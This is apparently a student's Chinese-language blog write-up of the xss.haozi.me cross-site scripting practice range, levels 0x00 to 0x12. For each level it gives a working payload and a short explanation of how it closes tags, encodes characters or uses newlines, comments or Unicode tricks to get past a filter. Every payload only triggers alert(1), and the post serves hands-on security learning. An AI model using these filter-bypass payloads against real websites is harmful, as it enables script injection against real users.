集训第二周 星期一(上)
第二个星期了,再发一篇。感觉自己好像没学什么东西。就学了个HTML和JavaScript。今天开始XSS的实战,这篇博客主要就是写一下题解。
先给出XSS靶场的地址: https://xss.haozi.me/#/0x00 我是在谷歌上写的,不知道为什么同样的payload在火狐上不能用。
0x00
第一关应该没什么讲的吧,啥都没有,直接给payload了。
<img src="x" onerror="alert(1)">
0x01
这一关,就是考了个最基本的标签闭合,感觉有点想SQL注入,哈哈。就是把前面和后面的textarea给闭合掉,让后再写核心代码就行了,我讲一下这个img吧,他是用来给页面加入图片的,图片的地址就是由src来设置的,然后后面那个onerror是一个事件,就是一旦出错,就会执行里面的JavaScript代码。所以我们就把图片的地址胡写一个,让后程序出错,最后执行JavaScript代码,完美。
</textarea><img src="x" onerror="alert(1)"><textarea>
0x02
这关照样和SQL注入差不多,上一关是闭合整个标签,这次就闭合一半,使用“>把前面的标签给闭合了,然后再写自己的标签
"><img src="x" onerror="alert(1)">
0x03
这一关,就涉及到了过滤,这不和SQL注入过滤一样吗,但这个应该不能预编译吧,哈哈。这道题就是过滤了括号,绕过括号的方法好像很多,但是我目前就知道一种,就是用反引号。来来来,上payload
<img src="x" onerror="alert`1`">
0x04
这一题,极其的魔性,不知道为什么我在火狐上过不去。这道题把括号和反引号都过滤了,但是完美还可以用HTML编码绕过,有点类似于SQL注入的url编码绕过。
<img src="x" onerror="alert(1)">
0x05
这一题用到了一些比较冷的知识,我也不知道,看了别人的,原来–!>也能闭合<!–,涨知识了。
--!><img src="x" onerror="alert(1)"><!--
0x06
过滤了以on开头,以=号结尾的字符,我们就用换行符绕过
type="image" src="xxx" onerror
="alert(1)"
0x07
匹配了尖括号<>开头结尾的字符串替换为空.可以通过少输入一个>来绕过正则,但仍然可以执行.我也不知道为啥这样也行,感觉HTML的容错率也太高了,这样都行,刚学完C++的我,感觉极其不适应。
<img src="x" onerror="alert(1)"
0x08
这里还有一个问题,他把"<\style>"过滤了,正常思虑是换行绕过,但是我发现必须把“>“给换到下一行才行,再多加一个字符都不行,不知道为啥。请高人指点。
</style
>
<img src="x" onerror="alert(1);">
0x09
这一关就是必须要输入一个指定的URL而已,没有对输入进行任何过滤。
https://www.segmentfault.com"></script><img src="x" onerror="alert(1)">
0x0A
看了看题解,但发现题解的方法我用不了啊,不知道为啥。这又用到一个知识点,就是@,如果你访问 www.baidu.com@www.google.com,那么你最后进入的是谷歌的界面,所以这一关,就在自己的服务器上放一个js文件,写上“alert(1)”。但不知道我的不行。就先给出别人的payload吧。xss.haozi.me/j.js 这是题目作者自己写的js文件。
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
这一关把所有的字符都变成了大写,HTML对大小写是不敏感的,但是JavaScript对大小写敏感,所以我们需要把JavaScript的函数,给编码一下,这里我发现,好像只有字母和括号可以用编码绕过,但要是单引号双引号之类的,就不行了,不知道自己感觉的对不对。
<img src="x" onerror="alert(1)">
0x0C
就是多过滤了一个script,直接用上一关的payload就行了。
<img src="x" onerror="alert(1)">
0x0D
写了个alert()但是却不让用,这个注释符只能注释一行,打个换行就可以了,但是我不明白为什么后面那个–>非要再换一行,如果不换,就过不去,这是个啥原理。
alert(1);
-->
0x0E
匹配了所有<与字母的组合.
即<s无法使用.
但是ſ大写后为S,且其ascii值不与s相等,因此可以绕过.虽然我的又不能,没事,我已经习惯了。
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
这一关不会,看来题解,就更不懂了,为啥他把单引号编码之后还可以用,那这过滤个锤子,哎,不明白啊不明白。
');alert(1)//
0x10
这一题没啥好说的,只能说自己写的题太少了。
1;alert(1)
0x12
过滤了一些东西,但他不是替换为空,而是给转义了,那我们就把转义符给转义了,试试。
\");alert(1);</script>
啊,终于写完了,但其实没有完,还有一个靶场没写了,没事,问题不大。慢慢来吧。